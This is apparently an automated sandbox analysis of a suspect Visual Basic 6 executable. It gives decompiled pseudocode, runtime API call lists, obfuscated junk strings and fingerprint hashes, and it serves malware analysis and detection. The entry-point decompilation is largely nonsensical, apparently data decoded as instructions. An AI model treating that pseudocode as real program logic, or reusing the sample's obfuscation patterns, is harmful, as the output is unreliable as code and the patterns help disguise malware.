        • __vbaFreeVar.MSVBVM60(00008008,?,?,00402AB8,00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 00411739
        • __vbaVarDup.MSVBVM60(00008008,?,?,00402AB8,00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 00411787
        • #595.MSVBVM60(?,00000000,0000000A,0000000A,0000000A,00008008,?,?,00402AB8,00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 0041179E
        • __vbaFreeVarList.MSVBVM60(00000004,?,0000000A,0000000A,0000000A,?,00000000,0000000A,0000000A,0000000A,00008008,?,?,00402AB8,00000000,00000000), ref: 004117B5
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$ListMove$CheckChkstkHresult$#522#595#670#689BstrNew2
        • String ID: Sgsmaalsgrunds7$oliemalinger$stourness
        • API String ID: 1585906448-1000929821
        • Opcode ID: 6e9d310a5a5f481b4ad92ad0d909b5d05a2a06aafac1ef702f1d0a8ba478a4ae
        • Instruction ID: 4f0770c0c4609d66a00aa60e591338b43bebc7a85aab9c6707d6b5563002e607
        • Opcode Fuzzy Hash: 6e9d310a5a5f481b4ad92ad0d909b5d05a2a06aafac1ef702f1d0a8ba478a4ae
        • Instruction Fuzzy Hash: 3C913D71A00218EADB10EBA1CD45FDEB7B9AF44704F10417BE506BB1E1DB789A84CF69
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 48%
        			E0040FFE4(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				signed int _v36;
        				char _v40;
        				char _v44;
        				intOrPtr _v52;
        				char _v60;
        				intOrPtr _v68;
        				char _v76;
        				intOrPtr _v84;
        				char _v92;
        				intOrPtr _v100;
        				char _v108;
        				char* _v116;
        				char _v124;
        				void* _v160;
        				signed int _v164;
        				signed int _v176;
        				intOrPtr* _v180;
        				signed int _v184;
        				intOrPtr _t84;
        				short _t88;
        				char* _t91;
        				signed int _t98;
        				short _t104;
        				char* _t108;
        				signed int _t112;
        				void* _t139;
        				void* _t141;
        				intOrPtr _t142;
        				char* _t147;
        
        				_t142 = _t141 - 0xc;
        				 *[fs:0x0] = _t142;
        				L004013C0();
        				_v16 = _t142;
        				_v12 = 0x401260;
        				_v8 = 0;
        				_t84 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4013c6, _t139);
        				_push(0x402908);
        				_push(0x402910);
        				L004015AC();
        				_v52 = _t84;
        				_v60 = 8;
        				_push( &_v60);
        				_push( &_v76);
        				L0040151C();
        				_v116 = 0x402910;
        				_v124 = 0x8008;
        				_push( &_v76);
        				_t88 =  &_v124;
        				_push(_t88);
        				L004015DC();
        				_v160 = _t88;
        				_push( &_v76);
        				_push( &_v60);
        				_push(2);
        				L004015BE();
        				_t91 = _v160;
        				if(_t91 != 0) {
        					_push(2);
        					_push(0x4026bc);
        					_push(0x4026c4);
        					L004015AC();
        					L004015B2();
        					_push(_t91);
        					_push(0x4026cc);
        					L004015AC();
        					L004015B2();
        					_push(_t91);
        					_push(0x4026cc);
        					_push(0);
        					L00401516();
        					asm("sbb eax, eax");
        					_v160 =  ~( ~(_t91 - 3) + 1);
        					_push( &_v40);
        					_push( &_v36);
        					_push(2);
        					L004015A6();
        					_t91 = _v160;
        					_t147 = _t91;
        					if(_t147 != 0) {
        						L00401510();
        						L004015A0();
        						asm("fcomp qword [0x401250]");
        						asm("fnstsw ax");
        						asm("sahf");
        						if(_t147 == 0) {
        							_v116 = 0x80020004;
        							_v124 = 0xa;
        							_t98 = 0x10;
        							L004013C0();
        							asm("movsd");
        							asm("movsd");
        							asm("movsd");
        							asm("movsd");
        							_push(L"HABITABLE");
        							_push(L"Stengun2");
        							_push(L"misbrugere"); // executed
        							L0040157C(); // executed
        							L004015B2();
        							_push(_t98);
        							_push(0);
        							L00401582();
        							asm("sbb eax, eax");
        							_v160 =  ~( ~_t98 + 1);
        							L004015C4();
        							_t91 = _v160;
        							if(_t91 != 0) {
        								_push(0x402964);
        								L00401576();
        								if(_t91 == 1) {
        									_push( &_v60);
        									L00401570();
        									_v116 = L"Dizaine";
        									_v124 = 0x8008;
        									_push( &_v60);
        									_t104 =  &_v124;
        									_push(_t104);
        									L004015DC();
        									_v160 = _t104;
        									L0040156A();
        									_t91 = _v160;
        									if(_t91 != 0) {
        										_v100 = 0x80020004;
        										_v108 = 0xa;
        										_v84 = 0x80020004;
        										_v92 = 0xa;
        										_v68 = 0x80020004;
        										_v76 = 0xa;
        										if( *0x415010 != 0) {
        											_v180 = 0x415010;
        										} else {
        											_push(0x415010);
        											_push(0x4030f8);
        											L00401558();
        											_v180 = 0x415010;
        										}
        										_t108 =  &_v44;
        										L0040155E();
        										_v160 = _t108;
        										_t112 =  *((intOrPtr*)( *_v160 + 0x48))(_v160,  &_v36, _t108,  *((intOrPtr*)( *((intOrPtr*)( *_v180)) + 0x35c))( *_v180));
        										asm("fclex");
        										_v164 = _t112;
        										if(_v164 >= 0) {
        											_v184 = _v184 & 0x00000000;
        										} else {
        											_push(0x48);
        											_push(0x40275c);
        											_push(_v160);
        											_push(_v164);
        											L00401552();
        											_v184 = _t112;
        										}
        										_v176 = _v36;
        										_v36 = _v36 & 0x00000000;
        										_v52 = _v176;
        										_v60 = 8;
        										_push( &_v108);
        										_push( &_v92);
        										_push( &_v76);
        										_push(0);
        										_push( &_v60);
        										L00401564();
        										L0040152E();
        										_push( &_v108);
        										_push( &_v92);
        										_push( &_v76);
        										_t91 =  &_v60;
        										_push(_t91);
        										_push(4);
        										L004015BE();
        									}
        								}
        							}
        						}
        					}
        				}
        				asm("wait");
        				_push(0x41033e);
        				return _t91;
        			}



































        0x0040ffe7
        0x0040fff6
        0x00410002
        0x0041000a
        0x0041000d
        0x00410014
        0x00410023
        0x00410026
        0x0041002b
        0x00410030
        0x00410035
        0x00410038
        0x00410042
        0x00410046
        0x00410047
        0x0041004c
        0x00410053
        0x0041005d
        0x0041005e
        0x00410061
        0x00410062
        0x00410067
        0x00410071
        0x00410075
        0x00410076
        0x00410078
        0x00410080
        0x00410089
        0x0041008f
        0x00410091
        0x00410096
        0x0041009b
        0x004100a5
        0x004100aa
        0x004100ab
        0x004100b0
        0x004100ba
        0x004100bf
        0x004100c0
        0x004100c5
        0x004100c7
        0x004100d1
        0x004100d6
        0x004100e0
        0x004100e4
        0x004100e5
        0x004100e7
        0x004100ef
        0x004100f6
        0x004100f8
        0x00410104
        0x00410109
        0x0041010e
        0x00410114
        0x00410116
        0x00410117
        0x0041011d
        0x00410124
        0x0041012d
        0x0041012e
        0x00410138
        0x00410139
        0x0041013a
        0x0041013b
        0x0041013c
        0x00410141
        0x00410146
        0x0041014b
        0x00410155
        0x0041015a
        0x0041015b
        0x0041015d
        0x00410164
        0x00410169
        0x00410173
        0x00410178
        0x00410181
        0x00410187
        0x0041018c
        0x00410194
        0x0041019d
        0x0041019e
        0x004101a3
        0x004101aa
        0x004101b4
        0x004101b5
        0x004101b8
        0x004101b9
        0x004101be
        0x004101c8
        0x004101cd
        0x004101d6
        0x004101dc
        0x004101e3
        0x004101ea
        0x004101f1
        0x004101f8
        0x004101ff
        0x0041020d
        0x0041022a
        0x0041020f
        0x0041020f
        0x00410214
        0x00410219
        0x0041021e
        0x0041021e
        0x0041024e
        0x00410252
        0x00410257
        0x0041026f
        0x00410272
        0x00410274
        0x00410281
        0x004102a3
        0x00410283
        0x00410283
        0x00410285
        0x0041028a
        0x00410290
        0x00410296
        0x0041029b
        0x0041029b
        0x004102ad
        0x004102b3
        0x004102bd
        0x004102c0
        0x004102ca
        0x004102ce
        0x004102d2
        0x004102d3
        0x004102d8
        0x004102d9
        0x004102e1
        0x004102e9
        0x004102ed
        0x004102f1
        0x004102f2
        0x004102f5
        0x004102f6
        0x004102f8
        0x004102fd
        0x004101d6
        0x00410194
        0x00410181
        0x00410117
        0x004100f8
        0x00410300
        0x00410301
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00410002
        • __vbaStrCat.MSVBVM60(00402910,00402908,?,?,?,?,004013C6), ref: 00410030
        • #522.MSVBVM60(?,00000008), ref: 00410047
        • __vbaVarTstEq.MSVBVM60(00008008,?), ref: 00410062
        • __vbaFreeVarList.MSVBVM60(00000002,00000008,?,00008008,?), ref: 00410078
        • __vbaStrCat.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 0041009B
        • __vbaStrMove.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 004100A5
        • __vbaStrCat.MSVBVM60(004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 004100B0
        • __vbaStrMove.MSVBVM60(004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 004100BA
        • __vbaInStr.MSVBVM60(00000000,004026CC,00000000,004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 004100C7
        • __vbaFreeStrList.MSVBVM60(00000002,004026BC,004026C4,00000000,004026CC,00000000,004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 004100E7
        • __vbaFPInt.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 00410104
        • __vbaFpR8.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 00410109
        • __vbaChkstk.MSVBVM60 ref: 0041012E
        • #689.MSVBVM60(misbrugere,Stengun2,HABITABLE), ref: 0041014B
        • __vbaStrMove.MSVBVM60(misbrugere,Stengun2,HABITABLE), ref: 00410155
        • __vbaStrCmp.MSVBVM60(00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 0041015D
        • __vbaFreeStr.MSVBVM60(00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 00410173
        • __vbaLenBstr.MSVBVM60(00402964,00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 0041018C
        • #670.MSVBVM60(?,00402964,00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 0041019E
        • __vbaVarTstEq.MSVBVM60(00008008,?,?,00402964,00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 004101B9
        • __vbaFreeVar.MSVBVM60(00008008,?,?,00402964,00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 004101C8
        • __vbaNew2.MSVBVM60(004030F8,00415010,00008008,?,?,00402964,00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 00410219
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,00008008,?,?,00402964,00000000,00000000,misbrugere,Stengun2,HABITABLE), ref: 00410252
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,0040275C,00000048,?,?,?,?,?,00008008,?,?,00402964,00000000,00000000,misbrugere), ref: 00410296
        • #595.MSVBVM60(00000008,00000000,0000000A,0000000A,0000000A,?,?,?,?,?,00008008,?,?,00402964,00000000,00000000), ref: 004102D9
        • __vbaFreeObj.MSVBVM60(00000008,00000000,0000000A,0000000A,0000000A,?,?,?,?,?,00008008,?,?,00402964,00000000,00000000), ref: 004102E1
        • __vbaFreeVarList.MSVBVM60(00000004,00000008,0000000A,0000000A,0000000A,00000008,00000000,0000000A,0000000A,0000000A,?,?,?,?,?,00008008), ref: 004102F8
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$ListMove$Chkstk$#522#595#670#689BstrCheckHresultNew2
        • String ID: HABITABLE$Stengun2$misbrugere
        • API String ID: 3850225901-2597686858
        • Opcode ID: 0f089ee44f8c78a56c3deedc3428d7f18084bd536a13cea62766f104bbc982bc
        • Instruction ID: 7d6daff11b1fb0cb9a237b247e85756f8535fbc379e73ac5ad9cdfc77cb86aa9
        • Opcode Fuzzy Hash: 0f089ee44f8c78a56c3deedc3428d7f18084bd536a13cea62766f104bbc982bc
        • Instruction Fuzzy Hash: 2C813DB1950218ABDB10EBA1CC45BDEBBB8BF44704F10416BF506BB1D1DBB89984CF69
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 49%
        			E00410441(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v28;
        				void* _v36;
        				intOrPtr _v44;
        				char _v52;
        				char _v68;
        				intOrPtr _v76;
        				char _v84;
        				short _v104;
        				intOrPtr _t29;
        				char* _t31;
        				short _t33;
        				short _t37;
        				void* _t47;
        				void* _t49;
        				intOrPtr _t50;
        
        				_t50 = _t49 - 0xc;
        				 *[fs:0x0] = _t50;
        				L004013C0();
        				_v16 = _t50;
        				_v12 = 0x401280;
        				_v8 = 0;
        				_t29 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x58,  *[fs:0x0], 0x4013c6, _t47);
        				L0040154C();
        				_push(0x402908);
        				_push(0x402980);
        				L004015AC();
        				L004015B2();
        				_push(_t29);
        				_push(0x402980);
        				L004015AC();
        				_v44 = _t29;
        				_v52 = 8;
        				_push( &_v52);
        				_t31 =  &_v68;
        				_push(_t31);
        				L00401504();
        				_push(0x402980);
        				_push(0x402980);
        				L004015AC();
        				_v76 = _t31;
        				_v84 = 0x8008;
        				_push( &_v68);
        				_t33 =  &_v84;
        				_push(_t33);
        				L004015DC();
        				_v104 = _t33;
        				L004015C4();
        				_push( &_v84);
        				_push( &_v68);
        				_push( &_v52);
        				_push(3);
        				L004015BE();
        				_t37 = _v104;
        				if(_t37 != 0) {
        					_push(L"prenominate");
        					_push(L"Karseklippet");
        					_push(L"Oculus");
        					_push(L"unwall"); // executed
        					L004014FE(); // executed
        				}
        				_push(0x410563);
        				L004015C4();
        				return _t37;
        			}





















        0x00410444
        0x00410453
        0x0041045d
        0x00410465
        0x00410468
        0x0041046f
        0x0041047e
        0x00410487
        0x0041048c
        0x00410491
        0x00410496
        0x004104a0
        0x004104a5
        0x004104a6
        0x004104ab
        0x004104b0
        0x004104b3
        0x004104bd
        0x004104be
        0x004104c1
        0x004104c2
        0x004104c7
        0x004104cc
        0x004104d1
        0x004104d6
        0x004104d9
        0x004104e3
        0x004104e4
        0x004104e7
        0x004104e8
        0x004104ed
        0x004104f4
        0x004104fc
        0x00410500
        0x00410504
        0x00410505
        0x00410507
        0x0041050f
        0x00410515
        0x00410517
        0x0041051c
        0x00410521
        0x00410526
        0x0041052b
        0x0041052b
        0x00410530
        0x0041055d
        0x00410562

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 0041045D
        • __vbaStrCopy.MSVBVM60(?,?,?,?,004013C6), ref: 00410487
        • __vbaStrCat.MSVBVM60(00402980,00402908,?,?,?,?,004013C6), ref: 00410496
        • __vbaStrMove.MSVBVM60(00402980,00402908,?,?,?,?,004013C6), ref: 004104A0
        • __vbaStrCat.MSVBVM60(00402980,00000000,00402980,00402908,?,?,?,?,004013C6), ref: 004104AB
        • #520.MSVBVM60(?,00000008), ref: 004104C2
        • __vbaStrCat.MSVBVM60(00402980,00402980,?,00000008), ref: 004104D1
        • __vbaVarTstEq.MSVBVM60(00008008,00402980), ref: 004104E8
        • __vbaFreeStr.MSVBVM60(00008008,00402980), ref: 004104F4
        • __vbaFreeVarList.MSVBVM60(00000003,00000008,00402980,00008008,00008008,00402980), ref: 00410507
        • #690.MSVBVM60(unwall,Oculus,Karseklippet,prenominate,?,?,?,004013C6), ref: 0041052B
        • __vbaFreeStr.MSVBVM60(00410563,?,?,?,004013C6), ref: 0041055D
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$#520#690ChkstkCopyListMove
        • String ID: Karseklippet$Oculus$prenominate$unwall
        • API String ID: 1353531886-1380899336
        • Opcode ID: c1b84b3f58a95e0b6785063f390b6461002431ae501471cb1b75d79b545be72e
        • Instruction ID: 666bdb05165cd2f24338417920c00226b837023e228cb4ad6b5064d3cd4f8337
        • Opcode Fuzzy Hash: c1b84b3f58a95e0b6785063f390b6461002431ae501471cb1b75d79b545be72e
        • Instruction Fuzzy Hash: AD21FBB1A50218BBCB00EBD1CD46FEEB7B8BB44704F54403BF405BA1E1DBB899498B59
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 79%
        			_entry_(signed int __eax, signed int __ebx, signed int __ecx, void* __edx, void* __edi, signed int __esi, void* __fp0) {
        				intOrPtr* _t214;
        				signed int _t215;
        				signed int _t217;
        				signed int _t218;
        				signed int _t219;
        				void* _t220;
        				void* _t221;
        				signed int _t223;
        				intOrPtr* _t225;
        				signed char _t226;
        				intOrPtr* _t227;
        				intOrPtr* _t229;
        				signed char _t231;
        				intOrPtr* _t232;
        				signed char _t234;
        				signed char _t235;
        				signed char _t237;
        				intOrPtr* _t238;
        				signed char _t239;
        				signed char _t240;
        				intOrPtr* _t241;
        				intOrPtr* _t242;
        				signed int _t243;
        				signed char _t244;
        				intOrPtr* _t246;
        				intOrPtr* _t247;
        				intOrPtr* _t248;
        				intOrPtr* _t249;
        				intOrPtr* _t250;
        				intOrPtr* _t252;
        				intOrPtr* _t253;
        				signed char _t255;
        				signed char _t256;
        				intOrPtr* _t258;
        				intOrPtr* _t259;
        				intOrPtr* _t260;
        				intOrPtr* _t261;
        				intOrPtr* _t262;
        				intOrPtr* _t263;
        				void* _t264;
        				signed int _t265;
        				intOrPtr* _t269;
        				signed int _t271;
        				intOrPtr* _t274;
        				signed int _t276;
        				intOrPtr* _t287;
        				intOrPtr* _t289;
        				intOrPtr* _t291;
        				intOrPtr* _t293;
        				signed char _t294;
        				signed int _t295;
        				signed int _t296;
        				void* _t297;
        				signed char _t298;
        				signed char _t299;
        				signed int _t301;
        				intOrPtr* _t302;
        				signed char _t304;
        				signed int _t305;
        				signed int _t308;
        				signed int _t309;
        				void* _t311;
        				signed int _t316;
        				void* _t318;
        				void* _t319;
        				signed int _t320;
        				intOrPtr* _t322;
        				intOrPtr* _t323;
        				intOrPtr* _t324;
        				void* _t325;
        				intOrPtr* _t326;
        				void* _t327;
        				void* _t328;
        				void* _t329;
        				intOrPtr* _t332;
        				signed int _t335;
        				intOrPtr* _t336;
        				intOrPtr* _t337;
        				signed char* _t338;
        				signed char* _t339;
        				signed char* _t340;
        				signed char* _t341;
        				signed char* _t342;
        				signed char* _t343;
        				void* _t344;
        				signed char* _t345;
        				intOrPtr* _t348;
        				signed int _t349;
        				void* _t350;
        				void* _t351;
        				void* _t352;
        				intOrPtr* _t354;
        				signed int* _t359;
        				signed int _t371;
        				signed int _t372;
        				void* _t373;
        				signed int _t375;
        				void* _t376;
        				signed int _t380;
        				void* _t383;
        				void* _t384;
        				void* _t386;
        				void* _t390;
        				void* _t391;
        				void* _t395;
        				void* _t398;
        				intOrPtr _t419;
        				intOrPtr* _t429;
        				intOrPtr _t433;
        				signed int _t434;
        				intOrPtr _t446;
        
        				_t369 = __esi;
        				_t353 = __edi;
        				_t347 = __edx;
        				_t335 = __ecx;
        				_t317 = __ebx;
        				_push("VB5!6&*"); // executed
        				L004015FA(); // executed
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax ^ __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				asm("adc al, 0x26");
        				asm("daa");
        				asm("cdq");
        				_t213 = __eax;
        				asm("scasb");
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				_push(__ebx);
        				if( *__eax != 0) {
        					asm("outsd");
        					 *[fs:eax] =  *[fs:eax] + __eax;
        					 *__eax =  *__eax + __eax;
        					 *__eax =  *__eax + __eax;
        					_t383 = _t383 - 1;
        					 *__eax =  *__eax ^ __eax;
        					asm("sbb [ebp-0x5aeb9045], eax");
        					 *((intOrPtr*)(__edx + 0x41)) =  *((intOrPtr*)(__edx + 0x41)) + 0xffffff80;
        					asm("movsb");
        					asm("aam 0x60");
        					_t371 = 0x466c97e5 &  *(_t383 + 0x36 + __ecx * 4);
        					_t347 = __edx - 1;
        					_t369 = __esi + 1;
        					_t353 = __edi + 2;
        					 *(_t347 - 0x6f) = _t369;
        					asm("stosd");
        					_t316 = __eax;
        					asm("stosb");
        					 *((intOrPtr*)(_t316 - 0x2d)) =  *((intOrPtr*)(_t316 - 0x2d)) + _t316;
        					_t213 = __ebx ^  *(__ecx - 0x48ee309a);
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *_t213 =  *_t213 + _t213;
        					 *0x4e554600 =  *0x4e554600 + _t213;
        					_t317 = _t316 - 1;
        					_push(_t383);
        				}
        				 *0x46000601 =  *0x46000601 + _t335;
        				_t336 = _t335 + 1;
        				_push(_t317);
        				_push(_t383);
        				_push(_t317);
        				_t384 = _t383 - 1;
        				 *_t336 =  *_t336 + _t317;
        				 *_t213 =  *_t213 + _t213;
        				_t348 = _t347 + 1;
        				 *_t348 =  *_t348 + _t213;
        				_t214 = _t213 + 0x46000624;
        				_t337 = _t336 + 1;
        				_push(_t317);
        				_push(_t384);
        				_push(_t317);
        				 *0x1df4 =  *0x1df4 + _t348;
        				asm("fisttp dword [esi]");
        				 *_t214 =  *_t214 + _t214;
        				asm("adc eax, 0x13310000");
        				 *_t214 =  *_t214 + _t214;
        				_t386 = _t384 - 1 + 1;
        				 *((intOrPtr*)(_t369 + 1)) =  *((intOrPtr*)(_t369 + 1)) + _t214;
        				 *_t337 =  *_t337 + 1;
        				 *[es:eax] =  *[es:eax] + _t214;
        				 *_t337 =  *_t337 + _t214;
        				_t215 = _t214 + 0x41544500;
        				_t354 = _t353 + 1;
        				_t372 = _t371 + 1;
        				 *_t369 =  *_t369 + _t215;
        				 *_t354 =  *_t354 + _t215;
        				_t21 = _t369 + 0x69;
        				 *_t21 =  *((intOrPtr*)(_t369 + 0x69)) + _t215;
        				if( *_t21 == 0) {
        					L8:
        					_push(_t348);
        					_t337 = _t337 - 1;
        					 *0xf781ba8 =  *0xf781ba8 + _t215;
        					goto L9;
        				} else {
        					_t372 =  *(_t215 + _t354) * 0x781ba805;
        					 *_t348 =  *_t348 + _t348;
        					asm("adc al, 0x0");
        					 *_t317 =  *_t317 + 1;
        					_t217 = ( *(_t354 + _t372 * 8) & 0x02000000) + 0x49524b00;
        					_t386 = _t386;
        					 *_t369 =  *_t369 + _t217;
        					 *_t369 =  *_t369 + _t217;
        					_t26 = _t337 + 0x62;
        					 *_t26 =  *((intOrPtr*)(_t337 + 0x62)) + _t348;
        					if( *_t26 != 0) {
        						L11:
        						_push(es);
        						 *((intOrPtr*)(_t317 + 0x45)) =  *((intOrPtr*)(_t317 + 0x45)) + _t348;
        						_t337 = _t337;
        						 *0xf781ba8 =  *0xf781ba8 + _t217;
        						asm("adc [eax], al");
        						 *_t317 =  *_t317 + 1;
        						_push(es);
        						 *((intOrPtr*)(_t317 + 0x74)) =  *((intOrPtr*)(_t317 + 0x74)) + _t348;
        						_t380 =  *(_t372 + 0x75) * 0x106006c;
        						_t311 = (_t217 & 0x06000000) + 0x4e4f4200;
        						_t398 = _t386 + 1;
        						goto L12;
        					} else {
        						asm("popad");
        						 *0xf781ba8 =  *0xf781ba8 + _t217;
        						asm("adc eax, [eax]");
        						 *_t317 =  *_t317 + 1;
        						 *[es:eax] =  *[es:eax] + _t217;
        						 *_t317 =  *_t317 + _t217;
        						_push(es);
        						_t28 = _t372 + 0x6f;
        						 *_t28 =  *((intOrPtr*)(_t372 + 0x6f)) + _t337;
        						asm("outsb");
        						asm("popad");
        						if( *_t28 == 0) {
        							L9:
        							asm("out dx, eax");
        							 *_t348 =  *_t348 + _t348;
        							asm("adc [eax], eax");
        							 *_t317 =  *_t317 + 1;
        							_t217 = (_t215 & 0x05000000) + 0x73697200;
        							if(_t217 >= 0) {
        								goto L16;
        							} else {
        								 *_t369 =  *_t369 + _t217;
        								 *_t369 =  *_t369 + _t217;
        								goto L11;
        							}
        						} else {
        							 *_t369 =  *_t369 + _t217;
        							 *_t369 =  *_t369 + _t217;
        							_t30 = _t369 + 0x6f;
        							 *_t30 =  *((intOrPtr*)(_t369 + 0x6f)) + _t337;
        							asm("outsb");
        							if( *_t30 < 0) {
        								L12:
        								_push(_t317);
        								 *0xf781ba8 =  *0xf781ba8 + _t311;
        								asm("invalid");
        								_t386 = _t398 +  *0x7000000;
        								_t218 = _t311 + 0x45525500;
        								goto L13;
        							} else {
        								asm("adc al, [eax]");
        								 *_t317 =  *_t317 + 1;
        								_t218 = (_t217 + 0x0f781ba8 & 0x04000000) + 0x65766f00;
        								if(_t218 < 0) {
        									L13:
        									 *((intOrPtr*)(_t380 + 0x52)) =  *((intOrPtr*)(_t380 + 0x52)) + _t348;
        									_t337 = _t337 + 1;
        									_t375 = _t380 + 1 - 1;
        									 *_t369 =  *_t369 + _t218;
        									 *_t369 =  *_t369 + _t218;
        									_t41 = _t375 + 0x66;
        									 *_t41 =  *((intOrPtr*)(_t375 + 0x66)) + _t218;
        									_t419 =  *_t41;
        									if(_t419 == 0) {
        										L19:
        										_push(_t386);
        										_t317 = _t317 + 1;
        										_t390 = _t386 + 1;
        										goto L20;
        									} else {
        										if(_t419 < 0) {
        											L20:
        											_pop(_t338);
        											_push(_t218);
        											_push(_t348);
        											 *_t369 =  *_t369 + _t218;
        											 *0x6e616d00 =  *0x6e616d00 + _t218;
        											if( *0x6e616d00 == 0) {
        												 *0x4b00a50 =  *0x4b00a50 + _t218;
        												asm("out dx, eax");
        												 *_t348 =  *_t348 + _t348;
        												asm("adc eax, 0x2703ff00");
        												 *_t218 =  *_t218 + _t218;
        												 *_t317 =  *_t317 + _t338;
        												_pop(es);
        												 *((intOrPtr*)(_t369 + 0x43)) =  *((intOrPtr*)(_t369 + 0x43)) + _t218;
        												goto L22;
        											}
        										} else {
        											 *0xf781ba8 =  *0xf781ba8 + _t218;
        											_t317 = _t317 + _t317;
        											_t386 = _t386 +  *_t369;
        											 *_t218 =  *_t218 + _t218;
        											 *_t218 =  *_t218 + _t337;
        											es = cs;
        											_t43 = _t317 + 0x49;
        											 *_t43 =  *((intOrPtr*)(_t317 + 0x49)) + _t218;
        											asm("gs outsb");
        											if( *_t43 == 0) {
        												L18:
        												asm("int1");
        												 *_t348 =  *_t348 + _t348;
        												_t218 = _t309;
        												 *_t317 =  *_t317 + 1;
        												 *[es:eax] =  *[es:eax] + _t218;
        												 *_t348 =  *_t348 + _t337;
        												es = es;
        												 *((intOrPtr*)(_t317 + 0x4f + _t218 * 2)) =  *((intOrPtr*)(_t317 + 0x4f + _t218 * 2)) + _t348;
        												goto L19;
        											} else {
        												L16:
        												 *_t369 =  *_t369 + _t217;
        												 *0x72794600 =  *0x72794600 + _t217;
        												if( *0x72794600 < 0) {
        													L22:
        													_t318 = _t317 - 1;
        													_t373 = _t372 + 1;
        													 *_t369 =  *_t369 + _t217;
        													 *_t369 =  *_t369 + _t217;
        													 *((intOrPtr*)(_t369 + 0x41)) =  *((intOrPtr*)(_t369 + 0x41)) + _t217;
        													_push(_t318);
        													_t319 = _t318 + 1;
        													_t338 = _t337 - 1;
        													_push(_t319);
        													 *0x4380d98 =  *0x4380d98 + _t217;
        													asm("sbb eax, 0x1201ef04");
        													_push(ss);
        													_t320 = _t319 + _t319;
        													_push(es);
        													 *((intOrPtr*)(_t320 + 0x41)) =  *((intOrPtr*)(_t320 + 0x41)) + _t348;
        													_push(_t373);
        													_t317 = _t320;
        													 *_t369 =  *_t369 + _t217;
        													 *0x44494c00 =  *0x44494c00 + _t217;
        													_t375 = _t373 + 2;
        													_t390 = _t386 - 1 + 1 +  *0xc000000 - 1;
        													 *0xf781ba8 =  *0xf781ba8 + _t217;
        													_t218 = _t217 |  *_t217;
